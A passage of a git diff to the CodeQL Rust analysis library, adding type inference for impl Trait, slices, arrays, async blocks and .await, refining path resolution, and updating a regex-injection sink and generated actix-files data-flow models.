instanceof Impl { result = "<" or i = 1 and - result = this.resolveSelfTy().getCanonicalPath(c) + result = this.getSelfCanonicalPath(c) or if exists(this.getTraitPath()) then @@ -618,6 +654,28 @@ class ImplItemNode extends ImplOrTraitItemNode instanceof Impl { } } +private class ImplTraitTypeReprItemNode extends ItemNode instanceof ImplTraitTypeRepr { + pragma[nomagic] + Path getABoundPath() { + result = super.getTypeBoundList().getABound().getTypeRepr().(PathTypeRepr).getPath() + } + + pragma[nomagic] + ItemNode resolveABound() { result = resolvePathFull(this.getABoundPath()) } + + override string getName() { result = "(impl trait)" } + + override Namespace getNamespace() { result.isType() } + + override Visibility getVisibility() { none() } + + override TypeParam getTypeParam(int i) { none() } + + override predicate hasCanonicalPath(Crate c) { none() } + + override string getCanonicalPath(Crate c) { none() } +} + private class MacroCallItemNode extends AssocItemNode instanceof MacroCall { override string getName() { result = "(macro call)" } @@ -793,6 +851,10 @@ class TypeAliasItemNode extends AssocItemNode instanceof TypeAlias { override Visibility getVisibility() { result = TypeAlias.super.getVisibility() } override TypeParam getTypeParam(int i) { result = super.getGenericParamList().getTypeParam(i) } + + override predicate hasCanonicalPath(Crate c) { none() } + + override string getCanonicalPath(Crate c) { none() } } private class UnionItemNode extends ItemNode instanceof Union { @@ -929,6 +991,7 @@ private predicate sourceFileEdge(SourceFile f, string name, ItemNode item) { } /** Holds if `f` is available as `mod name;` inside `folder`. */ +pragma[nomagic] private predicate fileModule(SourceFile f, string name, Folder folder) { exists(File file | file = f.getFile() | file.getBaseName() = name + ".rs" and @@ -943,6 +1006,12 @@ private predicate fileModule(SourceFile f, string name, Folder folder) { ) } +bindingset[name, folder] +pragma[inline_late] +private predicate fileModuleInlineLate(SourceFile f, string name, Folder folder) { + fileModule(f, name, folder) +} + /** * Gets the `Meta` of the module `m`'s [path attribute][1]. * @@ -1025,7 +1094,7 @@ pragma[nomagic] predicate fileImport(Module m, SourceFile f) { exists(string name, Folder parent | modImport0(m, name, _) and - fileModule(f, name, parent) + fileModuleInlineLate(f, name, parent) | // `m` is not inside a nested module modImport0(m, name, parent) and @@ -1062,14 +1131,21 @@ private predicate crateDefEdge(CrateItemNode c, string name, ItemNode i) { not i instanceof Crate } +private class BuiltinSourceFile extends SourceFileItemNode { + BuiltinSourceFile() { this.getFile().getParentContainer() instanceof Builtins::BuiltinsFolder } +} + /** - * Holds if `m` depends on crate `dep` named `name`. + * Holds if `file` depends on crate `dep` named `name`. */ -private predicate crateDependencyEdge(ModuleLikeNode m, string name, CrateItemNode dep) { - exists(CrateItemNode c | - dep = c.(Crate).getDependency(name) and - m = c.getASourceFile() - ) +pragma[nomagic] +private predicate crateDependencyEdge(SourceFileItemNode file, string name, CrateItemNode dep) { + exists(CrateItemNode c | dep = c.(Crate).getDependency(name) | file = c.getASourceFile()) + or + // Give builtin files, such as `await.rs`, access to `std` + file instanceof BuiltinSourceFile and + dep.getName() = name and + name = "std" } private predicate useTreeDeclares(UseTree tree, string name) { @@ -1404,6 +1480,22 @@ private predicate useImportEdge(Use use, string name, ItemNode item) { ) } +/** Holds if `ec` imports `crate` as `name`. */ +pragma[nomagic] +private predicate externCrateEdge(ExternCrateItemNode ec, string name, CrateItemNode crate) { + name = ec.getName() and + exists(SourceFile f, string s | + ec.getFile() = f.getFile() and + s = ec.(ExternCrate).getIdentifier().getText() + | + crateDependencyEdge(f, s, crate) + or + // `extern crate` is used to import the current crate + s = "self" and + ec.getFile() = crate.getASourceFile().getFile() + ) +} + /** * Holds if `i` is available inside `f` because it is reexported in * [the `core` prelude][1] or [the `std` prelude][2]. @@ -1414,9 +1506,14 @@ private predicate useImportEdge(Use use, string name, ItemNode item) { * [1]: https://doc.rust-lang.org/core/prelude/index.html * [2]: https://doc.rust-lang.org/std/prelude/index.html */ +pragma[nomagic] private predicate preludeEdge(SourceFile f, string name, ItemNode i) { exists(Crate stdOrCore, ModuleLikeNode mod, ModuleItemNode prelude, ModuleItemNode rust | - f = any(Crate c0 | stdOrCore = c0.getDependency(_) or stdOrCore = c0).getASourceFile() and + f = any(Crate c0 | stdOrCore = c0.getDependency(_) or stdOrCore = c0).getASourceFile() + or + // Give builtin files, such as `await.rs`, access to the prelude + f instanceof BuiltinSourceFile + | stdOrCore.getName() = ["std", "core"] and mod = stdOrCore.getSourceFile() and prelude = mod.getASuccessorRec("prelude") and @@ -1426,12 +1523,10 @@ private predicate preludeEdge(SourceFile f, string name, ItemNode i) { ) } -private import codeql.rust.frameworks.stdlib.Bultins as Builtins - pragma[nomagic] private predicate builtin(string name, ItemNode i) { - exists(SourceFileItemNode builtins | - builtins.getFile().getParentContainer() instanceof Builtins::BuiltinsFolder and + exists(BuiltinSourceFile builtins | + builtins.getFile().getBaseName() = "types.rs" and i = builtins.getASuccessorRec(name) ) } diff --git a/rust/ql/lib/codeql/rust/internal/Type.qll b/rust/ql/lib/codeql/rust/internal/Type.qll index db7938b3cf1..47ff0e2dd3f 100644 --- a/rust/ql/lib/codeql/rust/internal/Type.qll +++ b/rust/ql/lib/codeql/rust/internal/Type.qll @@ -15,10 +15,14 @@ newtype TType = TTrait(Trait t) or TArrayType() or // todo: add size? TRefType() or // todo: add mut? + TImplTraitType(ImplTraitTypeRepr impl) or + TSliceType() or TTypeParamTypeParameter(TypeParam t) or TAssociatedTypeTypeParameter(TypeAlias t) { any(TraitItemNode trait).getAnAssocItem() = t } or + TArrayTypeParameter() or TRefTypeParameter() or - TSelfTypeParameter(Trait t) + TSelfTypeParameter(Trait t) or + TSliceTypeParameter() /** * A type without type arguments. @@ -115,6 +119,9 @@ class TraitType extends Type, TTrait { TraitType() { this = TTrait(trait) } + /** Gets the underlying trait. */ + Trait getTrait() { result = trait } + override StructField getStructField(string name) { none() } override TupleField getTupleField(int i) { none() } @@ -145,7 +152,8 @@ class ArrayType extends Type, TArrayType { override TupleField getTupleField(int i) { none() } override TypeParameter getTypeParameter(int i) { - none() // todo + result = TArrayTypeParameter() and + i = 0 } override string toString() { result = "[]" } @@ -176,6 +184,76 @@ class RefType extends Type, TRefType { override Location getLocation() { result instanceof EmptyLocation } } +/** + * An [impl Trait][1] type. + * + * Each syntactic `impl Trait` type gives rise to its own type, even if + * two `impl Trait` types have the same bounds. + * + * [1]: https://doc.rust-lang.org/reference/types/impl-trait.html + */ +class ImplTraitType extends Type, TImplTraitType { + ImplTraitTypeRepr impl; + + ImplTraitType() { this = TImplTraitType(impl) } + + /** Gets the underlying AST node. */ + ImplTraitTypeRepr getImplTraitTypeRepr() { result = impl } + + /** Gets the function that this `impl Trait` belongs to. */ + abstract Function getFunction(); + + override StructField getStructField(string name) { none() } + + override TupleField getTupleField(int i) { none() } + + override TypeParameter getTypeParameter(int i) { none() } + + override string toString() { result = impl.toString() } + + override Location getLocation() { result = impl.getLocation() } +} + +/** + * An [impl Trait in return position][1] type, for example: + * + * ```rust + * fn foo() -> impl Trait + * ``` + * + * [1]: https://doc.rust-lang.org/reference/types/impl-trait.html#r-type.impl-trait.return + */ +class ImplTraitReturnType extends ImplTraitType { + private Function function; + + ImplTraitReturnType() { impl = function.getRetType().getTypeRepr() } + + override Function getFunction() { result = function } +} + +/** + * A slice type. + * + * Slice types like `[i64]` are modeled as normal generic types + * with a single type argument. + */ +class SliceType extends Type, TSliceType { + SliceType() { this = TSliceType() } + + override StructField getStructField(string name) { none() } + + override TupleField getTupleField(int i) { none() } + + override TypeParameter getTypeParameter(int i) { + result = TSliceTypeParameter() and + i = 0 + } + + override string toString() { result = "[]" } + + override Location getLocation() { result instanceof EmptyLocation } +} + /** A type parameter. */ abstract class TypeParameter extends Type { override StructField getStructField(string name) { none() } @@ -185,7 +263,7 @@ abstract class TypeParameter extends Type { override TypeParameter getTypeParameter(int i) { none() } } -private class RawTypeParameter = @type_param or @trait or @type_alias; +private class RawTypeParameter = @type_param or @trait or @type_alias or @impl_trait_type_repr; private predicate id(RawTypeParameter x, RawTypeParameter y) { x = y } @@ -255,6 +333,13 @@ class AssociatedTypeTypeParameter extends TypeParameter, TAssociatedTypeTypePara override Location getLocation() { result = typeAlias.getLocation() } } +/** An implicit array type parameter. */ +class ArrayTypeParameter extends TypeParameter, TArrayTypeParameter { + override string toString() { result = "[T;...]" } + + override Location getLocation() { result instanceof EmptyLocation } +} + /** An implicit reference type parameter. */ class RefTypeParameter extends TypeParameter, TRefTypeParameter { override string toString() { result = "&T" } @@ -262,6 +347,13 @@ class RefTypeParameter extends TypeParameter, TRefTypeParameter { override Location getLocation() { result instanceof EmptyLocation } } +/** An implicit slice type parameter. */ +class SliceTypeParameter extends TypeParameter, TSliceTypeParameter { + override string toString() { result = "[T]" } + + override Location getLocation() { result instanceof EmptyLocation } +} + /** * The implicit `Self` type parameter of a trait, that refers to the * implementing type of the trait. @@ -281,6 +373,37 @@ class SelfTypeParameter extends TypeParameter, TSelfTypeParameter { override Location getLocation() { result = trait.getLocation() } } +/** + * An [impl Trait in argument position][1] type, for example: + * + * ```rust + * fn foo(arg: impl Trait) + * ``` + * + * Such types are syntactic sugar for type parameters, that is + * + * ```rust + * fn foo(arg: T) + * ``` + * + * so we model them as type parameters. + * + * [1]: https://doc.rust-lang.org/reference/types/impl-trait.html#r-type.impl-trait.param + */ +class ImplTraitTypeTypeParameter extends ImplTraitType, TypeParameter { + private Function function; + + ImplTraitTypeTypeParameter() { impl = function.getAParam().getTypeRepr() } + + override Function getFunction() { result = function } + + override StructField getStructField(string name) { none() } + + override TupleField getTupleField(int i) { none() } + + override TypeParameter getTypeParameter(int i) { none() } +} + /** * A type abstraction. I.e., a place in the program where type variables are * introduced. @@ -316,3 +439,7 @@ final class SelfTypeBoundTypeAbstraction extends TypeAbstraction, Name { override TypeParamTypeParameter getATypeParameter() { none() } } + +final class ImplTraitTypeReprAbstraction extends TypeAbstraction, ImplTraitTypeRepr { + override TypeParamTypeParameter getATypeParameter() { none() } +} diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index 8399bde8aa8..3c36b077b3e 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -7,7 +7,7 @@ private import Type as T private import TypeMention private import codeql.typeinference.internal.TypeInference private import codeql.rust.frameworks.stdlib.Stdlib -private import codeql.rust.frameworks.stdlib.Bultins as Builtins +private import codeql.rust.frameworks.stdlib.Builtins as Builtins class Type = T::Type; @@ -80,15 +80,24 @@ private module Input1 implements InputSig1 { int getTypeParameterId(TypeParameter tp) { tp = rank[result](TypeParameter tp0, int kind, int id | - tp0 instanceof RefTypeParameter and + tp0 instanceof ArrayTypeParameter and kind = 0 and id = 0 or + tp0 instanceof RefTypeParameter and + kind = 0 and + id = 1 + or + tp0 instanceof SliceTypeParameter and + kind = 0 and + id = 2 + or kind = 1 and exists(AstNode node | id = idOfTypeParameterAstNode(node) | node = tp0.(TypeParamTypeParameter).getTypeParam() or node = tp0.(AssociatedTypeTypeParameter).getTypeAlias() or - node = tp0.(SelfTypeParameter).getTrait() + node = tp0.(SelfTypeParameter).getTrait() or + node = tp0.(ImplTraitTypeTypeParameter).getImplTraitTypeRepr() ) | tp0 order by kind, id @@ -117,6 +126,13 @@ private module Input2 implements InputSig2 { result = tp.(TypeParamTypeParameter).getTypeParam().getTypeBoundList().getABound().getTypeRepr() or result = tp.(SelfTypeParameter).getTrait() + or + result = + tp.(ImplTraitTypeTypeParameter) + .getImplTraitTypeRepr() + .getTypeBoundList() + .getABound() + .getTypeRepr() } /** @@ -156,6 +172,12 @@ private module Input2 implements InputSig2 { condition = self and constraint = self.getTrait() ) + or + exists(ImplTraitTypeRepr impl | + abs = impl and + condition = impl and + constraint = impl.getTypeBoundList().getABound().getTypeRepr() + ) } } @@ -228,8 +250,6 @@ private predicate typeEquality(AstNode n1, TypePath prefix1, AstNode n2, TypePat or n1 = n2.(ParenExpr).getExpr() or - n1 = n2.(BlockExpr).getStmtList().getTailExpr() - or n1 = n2.(IfExpr).getABranch() or n1 = n2.(MatchExpr).getAnArm().getExpr() @@ -245,9 +265,26 @@ private predicate typeEquality(AstNode n1, TypePath prefix1, AstNode n2, TypePat ) ) or + n1 = n2.(RefExpr).getExpr() and + prefix1.isEmpty() and + prefix2 = TypePath::singleton(TRefTypeParameter()) + or n1 = n2.(DerefExpr).getExpr() and prefix1 = TypePath::singleton(TRefTypeParameter()) and prefix2.isEmpty() + or + exists(BlockExpr be | + n1 = be and + n2 = be.getStmtList().getTailExpr() and + if be.isAsync() + then + prefix1 = TypePath::singleton(getFutureOutputTypeParameter()) and + prefix2.isEmpty() + else ( + prefix1.isEmpty() and + prefix2.isEmpty() + ) + ) } pragma[nomagic] @@ -563,6 +600,9 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { ppos.isImplicit() and result.(AssociatedTypeTypeParameter).getTrait() = trait ) + or + ppos.isImplicit() and + this = result.(ImplTraitTypeTypeParameter).getFunction() } override Type getParameterType(DeclarationPosition dpos, TypePath path) { @@ -582,9 +622,22 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { ) } - override Type getReturnType(TypePath path) { + private Type resolveRetType(TypePath path) { result = this.getRetType().getTypeRepr().(TypeMention).resolveTypeAt(path) } + + override Type getReturnType(TypePath path) { + if this.isAsync() + then + path.isEmpty() and + result = getFutureTraitType() + or + exists(TypePath suffix | + result = this.resolveRetType(suffix) and + path = TypePath::cons(getFutureOutputTypeParameter(), suffix) + ) + else result = this.resolveRetType(path) + } } private predicate argPos(CallExprBase call, Expr e, int pos, boolean isMethodCall) { @@ -932,43 +985,9 @@ private Type inferFieldExprType(AstNode n, TypePath path) { ) } -/** - * Gets the type of `n` at `path`, where `n` is either a reference expression - * `& x` or an expression `x` inside a reference expression `& x`. - */ +/** Gets the root type of the reference expression `re`. */ pragma[nomagic] -private Type inferRefExprType(Expr e, TypePath path) { - exists(RefExpr re | - e = re and - path.isEmpty() and - result = TRefType() - or - e = re and - exists(TypePath exprPath | result = inferType(re.getExpr(), exprPath) | - if exprPath.isCons(TRefTypeParameter(), _) - then - // `&x` simply means `x` when `x` already has reference type - path = exprPath - else ( - path = TypePath::cons(TRefTypeParameter(), exprPath) and - not (exprPath.isEmpty() and result = TRefType()) - ) - ) - or - e = re.getExpr() and - exists(TypePath exprPath, TypePath refPath, Type exprType | - result = inferType(re, exprPath) and - exprPath.isCons(TRefTypeParameter(), refPath) and - exprType = inferType(e) - | - if exprType = TRefType() - then - // `&x` simply means `x` when `x` already has reference type - path = exprPath - else path = refPath - ) - ) -} +private Type inferRefExprType(RefExpr re) { exists(re) and result = TRefType() } pragma[nomagic] private Type inferTryExprType(TryExpr te, TypePath path) { @@ -1010,6 +1029,157 @@ private StructType inferLiteralType(LiteralExpr le) { ) } +pragma[nomagic] +private TraitType getFutureTraitType() { result.getTrait() instanceof FutureTrait } + +pragma[nomagic] +private AssociatedTypeTypeParameter getFutureOutputTypeParameter() { + result.getTypeAlias() = any(FutureTrait ft).getOutputType() +} + +/** + * A matching configuration for resolving types of `.await` expressions. + */ +private module AwaitExprMatchingInput implements MatchingInputSig { + private newtype TDeclarationPosition = + TSelfDeclarationPosition() or + TOutputPos() + + class DeclarationPosition extends TDeclarationPosition { + predicate isSelf() { this = TSelfDeclarationPosition() } + + predicate isOutput() { this = TOutputPos() } + + string toString() { + this.isSelf() and + result = "self" + or + this.isOutput() and + result = "(output)" + } + } + + private class BuiltinsAwaitFile extends File { + BuiltinsAwaitFile() { + this.getBaseName() = "await.rs" and + this.getParentContainer() instanceof Builtins::BuiltinsFolder + } + } + + class Declaration extends Function { + Declaration() { + this.getFile() instanceof BuiltinsAwaitFile and + this.getName().getText() = "await_type_matching" + } + + TypeParameter getTypeParameter(TypeParameterPosition ppos) { + typeParamMatchPosition(this.getGenericParamList().getATypeParam(), result, ppos) + } + + Type getDeclaredType(DeclarationPosition dpos, TypePath path) { + dpos.isSelf() and + result = this.getParam(0).getTypeRepr().(TypeMention).resolveTypeAt(path) + or + dpos.isOutput() and + result = this.getRetType().getTypeRepr().(TypeMention).resolveTypeAt(path) + } + } + + class AccessPosition = DeclarationPosition; + + class Access extends AwaitExpr { + Type getTypeArgument(TypeArgumentPosition apos, TypePath path) { none() } + + AstNode getNodeAt(AccessPosition apos) { + result = this.getExpr() and + apos.isSelf() + or + result = this and + apos.isOutput() + } + + Type getInferredType(AccessPosition apos, TypePath path) { + result = inferType(this.getNodeAt(apos), path) + } + + Declaration getTarget() { exists(this) and exists(result) } + } + + predicate accessDeclarationPositionMatch(AccessPosition apos, DeclarationPosition dpos) { + apos = dpos + } +} + +pragma[nomagic] +private TraitType inferAsyncBlockExprRootType(AsyncBlockExpr abe) { + // `typeEquality` handles the non-root case + exists(abe) and + result = getFutureTraitType() +} + +private module AwaitExprMatching = Matching; + +pragma[nomagic] +private Type inferAwaitExprType(AstNode n, TypePath path) { + exists(AwaitExprMatchingInput::Access a, AwaitExprMatchingInput::AccessPosition apos | + n = a.getNodeAt(apos) and + result = AwaitExprMatching::inferAccessType(a, apos, path) + ) + or + // This case is needed for `async` functions and blocks, where we assign + // the type `Future` directly instead of `impl Future` + // + // TODO: It would be better if we could handle this in the shared library + exists(TypePath exprPath | + result = inferType(n.(AwaitExpr).getExpr(), exprPath) and + exprPath.isCons(getFutureOutputTypeParameter(), path) + ) +} + +private class Vec extends Struct { + Vec() { this.getCanonicalPath() = "alloc::vec::Vec" } + + TypeParamTypeParameter getElementTypeParameter() { + result.getTypeParam() = this.getGenericParamList().getTypeParam(0) + } +} + +/** + * According to [the Rust reference][1]: _"array and slice-typed expressions + * can be indexed with a `usize` index ... For other types an index expression + * `a[b]` is equivalent to *std::ops::Index::index(&a, b)"_. + * + * The logic below handles array and slice indexing, but for other types it is + * currently limited to `Vec`. + * + * [1]: https://doc.rust-lang.org/reference/expressions/array-expr.html#r-expr.array.index + */ +pragma[nomagic] +private Type inferIndexExprType(IndexExpr ie, TypePath path) { + // TODO: Should be implemented as method resolution, using the special + // `std::ops::Index` trait. + exists(TypePath exprPath, Builtins::BuiltinType t | + TStruct(t) = inferType(ie.getIndex()) and + ( + // also allow `i32`, since that is currently the type that we infer for + // integer literals like `0` + t instanceof Builtins::I32 + or + t instanceof Builtins::Usize + ) and + result = inferType(ie.getBase(), exprPath) + | + exprPath.isCons(any(Vec v).getElementTypeParameter(), path) + or + exprPath.isCons(any(ArrayTypeParameter tp), path) + or + exists(TypePath path0 | + exprPath.isCons(any(RefTypeParameter tp), path0) and + path0.isCons(any(SliceTypeParameter tp), path) + ) + ) +} + private module MethodCall { /** An expression that calls a method. */ abstract private class MethodCallImpl extends Expr { @@ -1051,7 +1221,7 @@ private module MethodCall { Expr receiver; CallExprMethodCall() { - receiver = this.getArgList().getArg(0) and + receiver = this.getArg(0) and exists(Path path, Function f | path = this.getFunction().(PathExpr).getPath() and f = resolvePath(path) and @@ -1119,12 +1289,17 @@ private predicate methodCandidateTrait(Type type, Trait trait, string name, int } private module IsInstantiationOfInput implements IsInstantiationOfInputSig { + pragma[nomagic] + private predicate isMethodCall(MethodCall mc, Type rootType, string name, int arity) { + rootType = mc.getTypeAt(TypePath::nil()) and + name = mc.getMethodName() and + arity = mc.getArity() + } + pragma[nomagic] predicate potentialInstantiationOf(MethodCall mc, TypeAbstraction impl, TypeMention constraint) { exists(Type rootType, string name, int arity | - rootType = mc.getTypeAt(TypePath::nil()) and - name = mc.getMethodName() and - arity = mc.getArity() and + isMethodCall(mc, rootType, name, arity) and constraint = impl.(ImplTypeAbstraction).getSelfTy() | methodCandidateTrait(rootType, mc.getTrait(), name, arity, impl) @@ -1151,6 +1326,8 @@ private Function getTypeParameterMethod(TypeParameter tp, string name) { result = getMethodSuccessor(tp.(TypeParamTypeParameter).getTypeParam(), name) or result = getMethodSuccessor(tp.(SelfTypeParameter).getTrait(), name) + or + result = getMethodSuccessor(tp.(ImplTraitTypeTypeParameter).getImplTraitTypeRepr(), name) } /** Gets a method from an `impl` block that matches the method call `mc`. */ @@ -1161,6 +1338,12 @@ private Function getMethodFromImpl(MethodCall mc) { ) } +bindingset[trait, name] +pragma[inline_late] +private Function getTraitMethod(ImplTraitReturnType trait, string name) { + result = getMethodSuccessor(trait.getImplTraitTypeRepr(), name) +} + /** * Gets a method that the method call `mc` resolves to based on type inference, * if any. @@ -1172,6 +1355,9 @@ private Function inferMethodCallTarget(MethodCall mc) { // The type of the receiver is a type parameter and the method comes from a // trait bound on the type parameter. result = getTypeParameterMethod(mc.getTypeAt(TypePath::nil()), mc.getMethodName()) + or + // The type of the receiver is an `impl Trait` type. + result = getTraitMethod(mc.getTypeAt(TypePath::nil()), mc.getMethodName()) } cached @@ -1341,12 +1527,20 @@ private module Cached { or result = inferFieldExprType(n, path) or - result = inferRefExprType(n, path) + result = inferRefExprType(n) and + path.isEmpty() or result = inferTryExprType(n, path) or result = inferLiteralType(n) and path.isEmpty() + or + result = inferAsyncBlockExprRootType(n) and + path.isEmpty() + or + result = inferAwaitExprType(n, path) + or + result = inferIndexExprType(n, path) } } @@ -1363,7 +1557,7 @@ private module Debug { exists(string filepath, int startline, int startcolumn, int endline, int endcolumn | result.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) and filepath.matches("%/main.rs") and - startline = 948 + startline = 1718 ) } @@ -1376,4 +1570,15 @@ private module Debug { mce = getRelevantLocatable() and result = resolveMethodCallTarget(mce) } + + pragma[nomagic] + private int countTypes(AstNode n, TypePath path, Type t) { + t = inferType(n, path) and + result = strictcount(Type t0 | t0 = inferType(n, path)) + } + + predicate maxTypes(AstNode n, TypePath path, Type t, int c) { + c = countTypes(n, path, t) and + c = max(countTypes(_, _, _)) + } } diff --git a/rust/ql/lib/codeql/rust/internal/TypeMention.qll b/rust/ql/lib/codeql/rust/internal/TypeMention.qll index 7e947a35bc4..f14291103c7 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeMention.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeMention.qll @@ -15,7 +15,7 @@ abstract class TypeMention extends AstNode { /** Gets the sub mention at `path`. */ pragma[nomagic] - private TypeMention getMentionAt(TypePath path) { + TypeMention getMentionAt(TypePath path) { path.isEmpty() and result = this or @@ -43,6 +43,12 @@ class RefTypeReprMention extends TypeMention instanceof RefTypeRepr { override Type resolveType() { result = TRefType() } } +class SliceTypeReprMention extends TypeMention instanceof SliceTypeRepr { + override TypeMention getTypeArgument(int i) { result = super.getTypeRepr() and i = 0 } + + override Type resolveType() { result = TSliceType() } +} + class PathTypeReprMention extends TypeMention instanceof PathTypeRepr { Path path; ItemNode resolved; @@ -56,6 +62,29 @@ class PathTypeReprMention extends TypeMention instanceof PathTypeRepr { ItemNode getResolved() { result = resolved } + pragma[nomagic] + private TypeAlias getResolvedTraitAlias(string name) { + exists(TraitItemNode trait | + trait = resolvePath(path) and + result = trait.getAnAssocItem() and + name = result.getName().getText() + ) + } + + pragma[nomagic] + private TypeRepr getAssocTypeArg(string name) { + result = path.getSegment().getGenericArgList().getAssocTypeArg(name) + } + + /** Gets the type argument for the associated type `alias`, if any. */ + pragma[nomagic] + private TypeRepr getAnAssocTypeArgument(TypeAlias alias) { + exists(string name | + alias = this.getResolvedTraitAlias(name) and + result = this.getAssocTypeArg(name) + ) + } + override TypeMention getTypeArgument(int i) { result = path.getSegment().getGenericArgList().getTypeArg(i) or @@ -96,12 +125,18 @@ class PathTypeReprMention extends TypeMention instanceof PathTypeRepr { result = alias.getTypeRepr() and param.getIndex() = i ) + or + exists(TypeAlias alias | + result = this.getAnAssocTypeArgument(alias) and + traitAliasIndex(_, i, alias) + ) } /** * Holds if this path resolved to a type alias with a rhs. that has the * resulting type at `typePath`. */ + pragma[nomagic] Type aliasResolveTypeAt(TypePath typePath) { exists(TypeAlias alias, TypeMention rhs | alias = resolved and rhs = alias.getTypeRepr() | result = rhs.resolveTypeAt(typePath) and @@ -152,6 +187,12 @@ class PathTypeReprMention extends TypeMention instanceof PathTypeRepr { } } +class ImplTraitTypeReprMention extends TypeMention instanceof ImplTraitTypeRepr { + override TypeMention getTypeArgument(int i) { none() } + + override ImplTraitType resolveType() { result.getImplTraitTypeRepr() = this } +} + private TypeParameter pathGetTypeParameter(TypeAlias alias, int i) { result = TTypeParamTypeParameter(alias.getGenericParamList().getTypeParam(i)) } diff --git a/rust/ql/lib/codeql/rust/security/regex/RegexInjectionExtensions.qll b/rust/ql/lib/codeql/rust/security/regex/RegexInjectionExtensions.qll index 4daff543b98..61d26f2f938 100644 --- a/rust/ql/lib/codeql/rust/security/regex/RegexInjectionExtensions.qll +++ b/rust/ql/lib/codeql/rust/security/regex/RegexInjectionExtensions.qll @@ -53,11 +53,10 @@ module RegexInjection { */ private class NewSink extends Sink { NewSink() { - exists(CallExprCfgNode call, PathExpr path | - path = call.getFunction().getExpr() and - path.getResolvedCrateOrigin() = "repo:https://github.com/rust-lang/regex:regex" and - path.getResolvedPath() = "::new" and - this.asExpr() = call.getArgument(0) and + exists(CallExprBase call, Addressable a | + call.getStaticTarget() = a and + a.getCanonicalPath() = "::new" and + this.asExpr().getExpr() = call.getArg(0) and not this.asExpr() instanceof LiteralExprCfgNode ) } diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-files.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-files.model.yml index ed7c81cde18..50981fcdb5c 100644 --- a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-files.model.yml +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-files.model.yml @@ -6,6 +6,7 @@ extensions: data: - ["repo:https://github.com/actix/actix-web:actix-files", "::new", "Argument[0]", "ReturnValue.Field[crate::directory::Directory::base]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::new", "Argument[1]", "ReturnValue.Field[crate::directory::Directory::path]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::new_service", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::default_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::disable_content_disposition", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -22,6 +23,7 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-files", "::use_guards", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::use_hidden_files", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::use_last_modified", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::new_service", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::content_disposition", "Argument[self].Field[crate::named::NamedFile::content_disposition]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::content_encoding", "Argument[self].Field[crate::named::NamedFile::encoding]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::content_type", "Argument[self].Field[crate::named::NamedFile::content_type]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -49,10 +51,22 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-files", "::set_status_code", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::use_etag", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::use_last_modified", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::call", "Argument[self].Field[crate::named::NamedFileService::path].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::call", "Argument[self].Field[crate::named::NamedFileService::path]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::as_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::call", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::call", "Argument[self].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "::deref", "Argument[self].Field[crate::service::FilesService(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "crate::chunked::new_chunked_read", "Argument[0]", "ReturnValue.Field[crate::chunked::ChunkedReadFile::size]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "crate::chunked::new_chunked_read", "Argument[1]", "ReturnValue.Field[crate::chunked::ChunkedReadFile::offset]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "crate::directory::directory_listing", "Argument[1].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-files", "crate::encoding::equiv_utf8_text", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/actix/actix-web:actix-files", "::respond_to", "Argument[self]", "pointer-access", "df-generated"] + - 